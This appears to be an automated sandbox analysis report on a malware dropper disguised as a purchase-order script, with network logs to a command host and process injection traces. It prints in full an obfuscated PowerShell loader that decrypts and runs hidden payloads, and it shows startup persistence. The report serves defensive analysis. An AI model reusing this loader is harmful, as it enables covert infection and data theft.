Jul 3, 2024 08:44:27.891680956 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:27.896567106 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:58.327225924 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:44:58.335618973 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:44:58.340447903 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:45:28.520798922 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:45:28.522803068 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:45:28.527930975 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:45:51.120680094 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:45:51.459321976 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:45:52.256187916 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:45:53.553041935 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:45:56.053047895 CEST	49715	80	192.168.2.6	178.237.33.50
Jul 3, 2024 08:45:58.818201065 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:45:58.820327044 CEST	49710	35890	192.168.2.6	64.188.16.157
Jul 3, 2024 08:45:58.825294018 CEST	35890	49710	64.188.16.157	192.168.2.6
Jul 3, 2024 08:46:00.943737030 CEST	49715	80	192.168.2.6	178.237.33.50

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 08:43:57.181727886 CEST	54810	53	192.168.2.6	1.1.1.1
Jul 3, 2024 08:43:57.323122978 CEST	53	54810	1.1.1.1	192.168.2.6
Jul 3, 2024 08:44:01.094228029 CEST	65327	53	192.168.2.6	1.1.1.1
Jul 3, 2024 08:44:01.102993011 CEST	53	65327	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 08:43:57.181727886 CEST	192.168.2.6	1.1.1.1	0x8351	Standard query (0)	ab9001.ddns.net	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:44:01.094228029 CEST	192.168.2.6	1.1.1.1	0xd3f0	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 08:43:57.323122978 CEST	1.1.1.1	192.168.2.6	0x8351	No error (0)	ab9001.ddns.net		64.188.16.157	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:44:01.102993011 CEST	1.1.1.1	192.168.2.6	0xd3f0	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	178.237.33.50	80	1484	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 08:44:01.111507893 CEST	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Jul 3, 2024 08:44:01.722057104 CEST	1170	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 06:44:01 GMT server: Apache content-length: 962 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.33", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Target ID:	0
Start time:	02:43:51
Start date:	03/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs"
Imagebase:	0x7ff614150000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:43:51
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\dropped.bat
Imagebase:	0x7ff7dde00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:43:51
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	02:43:53
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
Imagebase:	0x7ff7dde00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:43:53
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:43:53
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:44:05
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd" "
Imagebase:	0x7ff7dde00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:44:05
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:44:07
Start date:	03/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
Imagebase:	0x7ff7dde00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:44:07
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:44:07
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:44:07
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 7072, Parent PID: 1484

General

Target ID:	14
Start time:	02:44:07
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 6408, Parent PID: 1484

General

Target ID:	15
Start time:	02:44:07
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv"
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:44:08
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv"
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 3004, Parent PID: 1484

General

Target ID:	17
Start time:	02:44:08
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\bxtzrdixjge"
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:44:09
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Imagebase:	0xcd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Function 033529F0 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2132209520.0000000003350000.00000040.00000800.00020000.00000000.sdmp, Offset: 03350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 120247054262aab6aa7a8eef01272404973d2df28a5292e0aba4eb94ca2eaf78
Instruction ID: 72344121650c146f88e13ea4dafaffba1c281bfe4646ed471bf64938112596be
Opcode Fuzzy Hash: 120247054262aab6aa7a8eef01272404973d2df28a5292e0aba4eb94ca2eaf78
Instruction Fuzzy Hash: 3AA16874A00209CFCB15CF59C8D49AAFBB1FF89310B2885A9E915EB365D735EC51CBA0

Function 03352B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2132209520.0000000003350000.00000040.00000800.00020000.00000000.sdmp, Offset: 03350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f05c490829c79d15c8ca283b77f81b677d05886529a679a46f2f8ea1a574e78
Instruction ID: a706f478cdce6ffbead910e1331f55d1aef623c3e9bf2f0df7dc0cbbc0ae19f5
Opcode Fuzzy Hash: 4f05c490829c79d15c8ca283b77f81b677d05886529a679a46f2f8ea1a574e78
Instruction Fuzzy Hash: CF4114B4A006058FCB05CF58C5D8EAAFBB1FF48310B258699E955AB365C736FC51CBA0

Function 03353110 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2132209520.0000000003350000.00000040.00000800.00020000.00000000.sdmp, Offset: 03350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd3c3da30f05e0de3eae12cf2db267453311e175b13843b6a68a1d1073bddf85
Instruction ID: bf40ada07e538d9fcc7ffac31f22774b6045abb8bcf5ee2d9eea3bdc6f051565
Opcode Fuzzy Hash: bd3c3da30f05e0de3eae12cf2db267453311e175b13843b6a68a1d1073bddf85
Instruction Fuzzy Hash: 99215A78A00209DFCB04DF59C890AAAFBB5FF49310B158199E919E7752C735ED42CBA0

Function 03353100 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2132209520.0000000003350000.00000040.00000800.00020000.00000000.sdmp, Offset: 03350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c709c92a687dd7d4bef71940ff92ea1cbba8d4776f5a8b219f6e6e2ef24882b2
Instruction ID: e5573299aee4916f49ed8b29677fa18ce9ac5755aed79020033a2718eaed449f
Opcode Fuzzy Hash: c709c92a687dd7d4bef71940ff92ea1cbba8d4776f5a8b219f6e6e2ef24882b2
Instruction Fuzzy Hash: E4211978A006099FCB04DF99C894DAAFBB1FF89310B158199E909EB752C331EC51CFA0

Function 032ED01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2132077133.00000000032ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 032ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3579be31afd2f06237fc680c0bddb455de0e24de8b7db83a53735b12de2b7f44
Instruction ID: f7a9519da5e2a1a6d8ff63518b33787b8dacc6f610f4fd16e49bac4d25bb40e1
Opcode Fuzzy Hash: 3579be31afd2f06237fc680c0bddb455de0e24de8b7db83a53735b12de2b7f44
Instruction Fuzzy Hash: 6B01F231418305AEE720DA25C981B67FF98EF41326F1C855AED080E242C2B9D886CAB1

Function 032ED006 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2132077133.00000000032ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 032ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_32ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8ae6fb6d3e0176989c550165395988886cda8da889dbc50c5b480bfc568d7ae
Instruction ID: dec1a1cd7ae7f8576859a8a15aa435e388d79e68c4681c57103cef00fe425b48
Opcode Fuzzy Hash: b8ae6fb6d3e0176989c550165395988886cda8da889dbc50c5b480bfc568d7ae
Instruction Fuzzy Hash: 2301407100E3C09FD7128B25C894B52BFB4EF43225F1D81CBD9888F1A3C2699848C772

Analysis Process: powershell.exePID: 3004, Parent PID: 1484COMMON

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.5%
Total number of Nodes:	1672
Total number of Limit Nodes:	52

Executed Functions

Function 004049E6 Relevance: 58.0, APIs: 28, Strings: 5, Instructions: 233
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004043E4: memset.MSVCRT ref: 00404406
Part of subcall function 004043E4: GetSystemDirectoryA.KERNEL32(0041E568,00000104), ref: 0040442B
Part of subcall function 004043E4: _mbscpy.MSVCRT ref: 0040443E
Part of subcall function 004043E4: memcpy.MSVCRT ref: 004044BD

OpenProcess.KERNEL32(001F0FFF,00000000,00000000,00000000,00000000,00000000), ref: 00404A0B
memset.MSVCRT ref: 00404A2F
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00404A3F

Part of subcall function 00411BA1: GetModuleHandleA.KERNEL32(kernel32.dll,00000000,00000000,00000000,?,?,?,?,?,?,00404A50,?), ref: 00411BC1
Part of subcall function 00411BA1: GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00411BD3
Part of subcall function 00411BA1: GetModuleHandleA.KERNEL32(ntdll.dll,?,?,?,?,?,?,00404A50,?), ref: 00411BE9
Part of subcall function 00411BA1: GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00411BF1
Part of subcall function 00411BA1: strlen.MSVCRT ref: 00411C15
Part of subcall function 00411BA1: strlen.MSVCRT ref: 00411C22

GetProcAddress.KERNEL32(00000000,GetModuleHandleA), ref: 00404A66
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00404A87
GetProcAddress.KERNEL32(00000000,WriteProcessMemory), ref: 00404AA8
GetProcAddress.KERNEL32(00000000,LocalFree), ref: 00404AC9

Part of subcall function 00411FC6: GetVersionExA.KERNEL32(?,00000000,000000A0), ref: 00411FE0

Part of subcall function 004044DE: GetProcAddress.KERNEL32(00000000,DuplicateToken), ref: 0040451C
Part of subcall function 004044DE: GetProcAddress.KERNEL32(00000000,SetThreadToken), ref: 00404543
Part of subcall function 004044DE: CloseHandle.KERNEL32(?), ref: 00404553
Part of subcall function 004044DE: CloseHandle.KERNEL32(?,00000000,000000A0,000000FF,0000000E,?,?,0040428D), ref: 0040455D
Part of subcall function 004044DE: FreeLibrary.KERNEL32(00000000,000000FF,0000000E,?,?,0040428D), ref: 0040456E

VirtualAllocEx.KERNEL32(00000000,00000000,000000A0,00001000,00000004), ref: 00404AE8
VirtualAllocEx.KERNEL32(00000000,00000000,00000400,00001000,00000040), ref: 00404AF9
VirtualAllocEx.KERNEL32(00000000,00000000,0040428D,00001000,00000004), ref: 00404B0B
VirtualAllocEx.KERNEL32(00000000,00000000,0040428D,00001000,00000004), ref: 00404B1B
WriteProcessMemory.KERNEL32(00000000,00000000,?,0040428D,00000000), ref: 00404B55
WriteProcessMemory.KERNEL32(00000000,?,Function_00004185,00000400,00000000,00000000), ref: 00404B76
WriteProcessMemory.KERNEL32(00000000,0040428D,?,000000A0,00000000), ref: 00404B8C
ResumeThread.KERNEL32(00000000,00000000,00000000,?,0040428D,0040428D), ref: 00404BB5
WaitForSingleObject.KERNEL32(00000000,00003A98), ref: 00404BC1
CloseHandle.KERNEL32(00000000), ref: 00404BC8
memset.MSVCRT ref: 00404BE1
ReadProcessMemory.KERNEL32(00000000,0040428D,?,000000A0,00000000), ref: 00404BFE
??2@YAPAXI@Z.MSVCRT ref: 00404C15
ReadProcessMemory.KERNEL32(00000000,?,00000000,?,00000000), ref: 00404C2B
??3@YAXPAX@Z.MSVCRT ref: 00404C43
FreeLibrary.KERNEL32(?), ref: 00404C51
VirtualFreeEx.KERNEL32(00000000,0040428D,00000000,00008000), ref: 00404C6A
VirtualFreeEx.KERNEL32(00000000,?,00000000,00008000), ref: 00404C74
VirtualFreeEx.KERNEL32(00000000,?,00000000,00008000), ref: 00404C7E
VirtualFreeEx.KERNEL32(00000000,?,00000000,00008000), ref: 00404C88
CloseHandle.KERNEL32(00000000), ref: 00404C8D

Strings

LocalFree, xrefs: 00404ABC
kernel32.dll, xrefs: 00404A37
GetModuleHandleA, xrefs: 00404A59
WriteProcessMemory, xrefs: 00404A9B
GetProcAddress, xrefs: 00404A7A

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressProcVirtual$Handle$FreeProcess$Memory$AllocClose$ModuleWritememset$LibraryReadstrlen$??2@??3@DirectoryObjectOpenResumeSingleSystemThreadVersionWait_mbscpymemcpy
String ID: GetModuleHandleA$GetProcAddress$LocalFree$WriteProcessMemory$kernel32.dll
API String ID: 826043887-859290676
Opcode ID: 665ad1307490be50280a61e2e255cc2a615cdf92a4a5461d0867a563b363db31
Instruction ID: 453227f2aabe0250eee1d40a9044243133179be0bc8eed6658bb11275d9bd618
Opcode Fuzzy Hash: 665ad1307490be50280a61e2e255cc2a615cdf92a4a5461d0867a563b363db31
Instruction Fuzzy Hash: CA81F6B1901218BBDF21ABA1CC45EEFBF79EF88754F114066F604A2160D7395A81CFA9

Function 00407C79 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 143
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00407CDB
memset.MSVCRT ref: 00407CEF
memset.MSVCRT ref: 00407D09
memset.MSVCRT ref: 00407D1E
GetComputerNameA.KERNEL32(?,?), ref: 00407D40
GetUserNameA.ADVAPI32(?,?), ref: 00407D54
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00407D73
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00407D88
strlen.MSVCRT ref: 00407D91
strlen.MSVCRT ref: 00407DA0
memcpy.MSVCRT ref: 00407DB2

Strings

5, xrefs: 00407CBD
O, xrefs: 00407CC5
}, xrefs: 00407CCD
